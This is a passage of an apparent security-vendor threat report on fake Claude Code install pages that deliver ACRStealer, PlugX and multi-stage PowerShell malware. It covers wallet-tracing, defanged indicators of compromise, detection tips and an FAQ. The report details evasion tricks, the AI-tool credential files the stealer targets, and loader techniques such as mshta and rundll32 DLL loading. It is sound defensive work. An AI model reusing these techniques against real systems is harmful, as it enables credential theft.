Our analysis focused on the ravishingtattle[.]com variant and its malware chain. But fake Claude Code install pages are being used to deliver other payloads too. We're not making attribution claims about whether these share operators. We're documenting what we observed.

Variant B: mshta Delivery, Multi-Stage PowerShell, and AMSI Bypass

The most prolific variant by domain count, documented independently by Push Security, Malwarebytes, Bitdefender, Rapid7, and Expel. Uses mshta.exe to fetch HTA files from domains like download-version.1-4-9[.]com, which spawn a multi-stage PowerShell chain:

• Stage 1: Anti-sandbox evasion via an 8-second ManualResetEvent sleep (defeats sandbox timeouts)
• Stage 2: Victim fingerprinting. MD5 of COMPUTERNAME+USERNAME generates a unique subdomain for per-victim payload delivery (e.g., 9c4f4164e2dfbf1e.9elmharbor[.]ru)
• Stage 3: A 17.3 MB PowerShell script containing 57,000 lines of dead code, a 4-million-integer array that decodes to a 3 MB encrypted blob, XOR'd with the key "AMSI_RESULT_NOT_DETECTED". That's a deliberate taunt aimed at Microsoft's Antimalware Scan Interface

This variant used Rust-compiled WebAssembly modules on Squarespace and Cloudflare Workers to encrypt the malicious install commands client-side, with AES-GCM encryption and support for 10 languages. It was promoted via Google Ads.

Variant C: claude-pro[.]com, Trojanized MSI Installer Delivering PlugX

A separate variant distributed a 508 MB MSI installer containing a legitimate, functional copy of Claude Desktop alongside a PlugX remote access trojan. The PlugX payload was delivered via DLL sideloading through a signed G DATA antivirus updater (NOVUpdate.exe loading malicious avk.dll), with C2 callbacks to an Alibaba Cloud IP (8.217.190[.]58:443) within 22 seconds of execution. PlugX has been documented extensively by other researchers in different contexts. We're noting its presence here, not making claims about who is behind it.

Threat Actor Attribution: Cryptocurrency Wallet Analysis

The crypto currency elements associated with this malware ecosystem are numerous and operational as of the publishing of this document. The transaction telemetry observed by clustering wallet relationships suggests a multi-chain payment/laundering wallet set with 2 strong signals of fraud infrastructure being leveraged.

• 3 of five BTC seeds (1PbWW, 32Epo, bc1qcg5sx) all received funds from a wallet attributed to 82 fraud reports on BitcoinWhosWho dating to Jan 2022. The malicious activity associated with this identifier includes fraud vectors that include sextortion, romance scams, fake-investment platforms (TOKENSETS, Trade Profit Mill, Uppdex, Now2Trade, Crypto Stock Invest), cloud-mining scams (Chickenfast), and FBI/Microsoft impersonation. This address has 2.2 M transactions and ~14 M BTC of churn, consistent with a non-KYC swap-exchange hot wallet abused by scammers (per public reporting it pushed $46 M to Coinbase).
• An ETH seed within the clustered activity was funded by ChangeNOW 16, (a labeled non-KYC swap exchange), plus 10 small individual senders. The inbound-only pattern is consistent with a malware drop/payment receiver.
• An XRP seed within the clustered activity is funded from Binance, the LTC/DOGE seeds receive fan-out drops (1-of-N distribution patterns), and the DASH seed has received a classic CoinJoin/mixer consolidation in the past. (51 inputs of mostly 100,001 sats merged into one output).
• 2 wallets are likely uninitialized "decoy/placeholder" addresses, 4 separate hard coded wallet addresses within the malware show zero activity at the time of this documentation.

Wallet Infrastructure Clusters and Confidence Levels

Cluster A: BTC Scam Infrastructure (High Confidence)

Cluster B: ETH Wallet Funded via Non-KYC Swap Exchange (Medium Confidence)

Cluster C: XRP Account Funded via Binance

Single XRP funding to satisfy account-reservation requirement; suggests attacker has (or had) Binance withdrawal access

Cluster D: LTC and DOGE Fan-Out Withdrawal Pattern

All three LTC seeds and the DOGE seed receive small amounts as one of many outputs of single large transactions (19, 501, 132 outputs respectively). This is classic exchange-withdrawal batching, the addresses are exchange withdrawal destinations, not direct attacker transfers.

Cluster E: DASH CoinJoin Mixer Pattern

Received a 22 M-sat output that consolidated 51 inputs of mostly exactly 100,001 sats each. This is a classic “PrivateSend/CoinJoin mix” (Dash's built-in mixing protocol). Forward trace from these inputs is by definition broken.

Cluster F: TON Deposit Aggregator with USDT Activity

Receives multiple small TON deposits + 6 separate USD₮ jetton transfers (totaling ~300 USD₮). The deposit-aggregator wallet, (possibly a payment-receiver), has a largest single deposit (242 TON) from a wallet with the status `uninit` (wallet contract not yet deployed on-chain, the account holds funds via raw balance).

Cluster G: TRON Address with Active USDT Holdings

Mostly a dust-target (receives Gas97, 9pay.org, BlockGames TRC10 spam — common Tron airdrop/poisoning) but holds 1,787 USDT TRC20 ($1.7k USD real value).

Indicators of Compromise Among Wallet Ecosystem

• 82 scam reports (BitcoinWhosWho), likely non-KYC swap hot wallet
• Non-KYC swap, funded ETH seed
• Binance parent account
• Common sink for BTC seeds — worth its own trace
• Sent ETH twice to seed (Dec 2025 and Aug 2025) 
• Sent 2 large DOGE drops, likely a distribution wallet
• 1,176 LTC distribution source
• USDT outflow recipient

How to Detect and Avoid Fake Claude Code Install Pages

1. Always verify install commands against official sources. The official Claude Code installation instructions live at Anthropic's documentation site. If a URL doesn't match, don't paste it.
2. Read the full command before pasting. Look for &, &&, |, or ; characters that chain multiple commands. A legitimate install one-liner won't invoke rundll32.exe, mshta, or load DLLs from UNC paths.
3. Don't trust Google Ads for developer tools. This campaign used paid advertising to rank above organic results. Navigate to official sites directly.
4. Monitor your clipboard. If you're transacting in cryptocurrency, double-check that the pasted address matches what you copied. Tools like CryptoClipWatcher can alert on clipboard replacement.

Full Indicators of Compromise (IOCs) from Straiker's Analysis

These are indicators we recovered directly from our own reversing and infrastructure analysis. They cover the ravishingtattle[.]com variant (Variant A) and the payloads it delivers.

File Hashes (SHA-256)

Network IOCs (From Binary Analysis and C2 Protocol Reversing)

Phishing Domains (Confirmed via urlscan.io DOM Capture)

These are domains where we captured the actual page content and/or extracted malicious commands from the DOM:

Additional phishing domains identified via urlscan.io title/visual similarity searches (88 total tracked, 32 active as of May 14, 2026) are listed in the "Still Live" section above.

Hardcoded Attacker Wallet Addresses

• Bitcoin (Legacy)
• Bitcoin (SegWit)
• Bitcoin (Taproot)
• Ethereum
• Tron
• XRP/Ripple
• Cosmos
• Monero
• Algorand

Host-Based Indicators

• Installation path: %LocalAppData%\Microsoft\EdgeUpdate\MicrosoftEdgeUpdateCore.dll
• Scheduled task: rundll32 execution of MicrosoftEdgeUpdateCore.dll,GetTranslateScript
• Mutex: update-S-1-5-21-14297136-4737252683-2816350604-2100
• Campaign GUID: f1575b64-8492-4e8b-b102-4d26e8c70371 (ACRStealer campaign identifier)

This analysis was conducted using Binary Ninja for static reverse engineering across all malware stages, with domain intelligence gathered via urlscan.io. The full technical deep-dives for each component (the ML-KEM-768 cryptographic pipeline, UUID shellcode encoding, ACRStealer C2 protocol, and clipboard hijacker internals) are available in our companion analysis reports.

Amanda Rousseau and Carl Vincent are distinguished principal AI security researchers at Straiker.

‍

If your team uses Claude Code, Cline, Continue.dev, or any AI coding assistant, your credentials are a target. This campaign proves it. Discover AI maps every AI tool, agent, and MCP server in your environment. Defend AI blocks attacks at runtime. Start with visibility. [Book a Demo →]

‍

FAQ Section

What is ACRStealer?

ACRStealer is an infostealer malware family first documented by AhnLab's ASEC team in February 2025, originally distributed through software crack and keygen sites. It steals browser credentials, cryptocurrency wallet data, password manager files, and messaging app sessions from infected Windows systems. The variant in this campaign is a significant rebuild. Per-string encryption replaces the original static XOR key. Raw-socket TLS replaces standard HTTP, bypassing EDR network monitoring. And the configuration now explicitly targets AI developer tool credentials, including API keys for Cline and Continue.dev. The campaign GUID (f1575b64-8492-4e8b-b102-4d26e8c70371) confirms this is the same malware family, rebuilt with better evasion and a new set of targets.

How does the fake Claude Code malware campaign work?

The attack starts on a fake install page that looks identical to the official Anthropic documentation site. The URL is the only tell. The displayed install command appears legitimate at a glance. Hidden inside it is a shell operator (typically & on macOS/Linux) that runs a malicious payload in the background while a harmless decoy fires in the foreground. On Windows, the payload loads a DLL directly from an attacker-controlled server over WebDAV. The malware never touches the victim's disk. That DLL is a Go-based loader protected by post-quantum ML-KEM-768 encryption. It decrypts and injects ACRStealer entirely in memory. ACRStealer then steals credentials from 65+ browsers, AI developer tools, crypto wallets, and password managers, downloads a persistent crypto-clipper, and routes everything to a command-and-control server whose address is hidden inside a fake Rust programming tutorial on Telegram's publishing platform.

What AI developer tools are being targeted?

This campaign targets AI developer tools as both lures and credential theft targets. Fake install pages have been confirmed for Claude Code (30+ domains), NotebookLM, JetBrains PyCharm, AtlasGPT, Cline, Comet, and Snowflake. At the payload level, the decoded malware configuration steals credentials from Cline (.cline/data/secrets.json, containing API keys and provider tokens), Continue.dev (.continue/config.yaml, containing LLM API keys and model configurations), Snowflake SSH session tokens, and the full Chromium profile from Perplexity Comet. Targeting AI coding assistant API keys is new. Prior ACRStealer variants did not include it. Attackers now treat AI tool credentials as high-value targets alongside browser passwords and crypto wallets.

How can I tell if a Claude Code install page is fake?

Check the URL first. Official Claude Code installation instructions live at Anthropic's documentation domain. No legitimate install page is served from Squarespace, GitHub Pages, Netlify, Framer, Cloudflare Pages, or Tencent EdgeOne. Before running any install command, read it in full. Look for &, &&, |, or ; characters that chain multiple commands. A real install one-liner will not call rundll32.exe or mshta.exe, load DLLs from UNC network paths (paths starting with \\), or decode a base64 blob at runtime. Don't use Google Ads results to find developer tool documentation. This campaign used paid advertising to rank fake pages above organic results. Go directly to the official site. Don't follow links from search results, social media, or third-party communities.

What is EtherHiding malware?

EtherHiding is a command-and-control technique where malware stores its configuration inside a smart contract on a public blockchain rather than on a domain or server. The malware queries the blockchain using standard Web3 API calls, retrieves an encoded configuration, and applies it locally. Because blockchain data is immutable and decentralized, there is no domain to seize, no hosting provider to contact, and no server to take offline. Attackers update the configuration by sending a transaction. Infected machines pick up the new data within minutes. In this campaign, the crypto-clipper uses EtherHiding to retrieve current replacement wallet addresses from a Binance Smart Chain smart contract. Google's GTIG team has previously documented this technique in connection with Lazarus Group tradecraft.